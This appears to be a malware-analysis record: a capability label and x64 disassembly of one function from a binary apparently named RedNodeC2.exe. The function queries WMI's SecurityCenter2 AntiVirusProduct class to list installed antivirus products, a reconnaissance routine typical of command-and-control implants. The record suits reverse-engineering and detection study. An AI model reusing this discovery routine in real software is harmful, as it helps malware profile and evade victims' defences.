Function at 0x140003d84
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x70]
sub rsp, 0x170
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
xor r14d, r14d
test eax, eax
js 0x140003e84
mov qword [rsp + 0x40], r14
lea edi, [r14 + 3]
mov dword [rsp + 0x38], r14d
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov dword [rsp + 0x28], edi
or edx, 0xffffffff
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x140003e7e
lea rax, [rbp + 0xb0]
mov qword [rbp + 0xb0], r14
lea r9, [0x140005230]
mov qword [rsp + 0x20], rax
xor edx, edx
lea r8d, [r14 + 1]
lea rcx, [0x140005240]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140003e7e
lea rcx, str.ROOTSecurityCenter2
mov qword [rbp + 0xa8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp + 0xb0]
xor r9d, r9d
mov rbx, rax
xor r8d, r8d
lea rax, [rbp + 0xa8]
mov rdx, rbx
mov qword [rsp + 0x40], rax
mov r10, qword [rcx]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
call qword [r10 + 0x18]
mov rcx, rbx
test eax, eax
jns 0x140003e94
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0xb0]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
add rsp, 0x170
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0xa8]
xor r9d, r9d
mov dword [rsp + 0x38], r14d
xor r8d, r8d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], edi
lea edx, [r9 + 0xa]
mov dword [rsp + 0x20], edi
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
jns 0x140003ed6
mov rcx, qword [rbp + 0xa8]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x140003e71
lea rcx, str.SELECT__FROM_AntiVirusProduct
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
lea rcx, [0x140005a78]
mov rsi, rax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp + 0xa8]
mov r9d, 0x30
mov rdi, rax
mov qword [rbp + 0xb8], r14
lea rax, [rbp + 0xb8]
mov r8, rsi
mov qword [rsp + 0x28], rax
mov rdx, rdi
mov r10, qword [rcx]
mov qword [rsp + 0x20], r14
call qword [r10 + 0xa0]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, 0x104
call fcn.140001050
mov rdi, rax
test ebx, ebx
jns 0x140003fae
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.pEnumerator_failed_with_error__d__n
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rsp + 0x70]
call sym.RedNodeC2.exe_OutputDebugStringA
mov rcx, qword [rbp + 0xa8]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov rcx, qword [rbp + 0xb0]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140003e84
mov qword [rsp + 0x50], r14
mov dword [rbp + 0xa0], r14d
jmp 0x140004030
mov rax, qword [rcx]
lea rdx, [rbp + 0xa0]
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x50]
or edx, 0xffffffff
mov r8d, 1
call qword [rax + 0x20]
cmp dword [rbp + 0xa0], r14d
je 0x14000403c
mov rcx, qword [rsp + 0x50]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x28], r14
lea rdx, str.displayName
xor r8d, r8d
mov qword [rsp + 0x20], r14
mov rax, qword [rcx]
call qword [rax + 0x20]
test eax, eax
js 0x14000401a
mov rcx, qword [rsp + 0x60]
call fcn.140004658
mov rdi, rax
lea rcx, [rsp + 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xb8]
test rcx, rcx
jne 0x140003fbc
mov rcx, qword [rbp + 0xa8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xb0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xb8]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rax, rdi
jmp 0x140003e86